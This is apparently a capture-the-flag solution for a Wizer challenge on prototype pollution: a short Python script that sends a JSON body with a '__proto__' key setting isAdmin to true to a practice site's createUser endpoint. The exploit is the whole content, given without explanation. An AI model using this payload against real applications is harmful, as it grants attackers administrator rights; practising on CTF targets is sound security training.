Wizer - Challenge 2 - Prototype Pollution

Exploit

import requests


url = "https://wizer-ctf.com:5001/api/createUser"



data = {
    "__proto__": {
        "isAdmin": "true"
    }

}

r = requests.post(url, json=data)

print(r.text)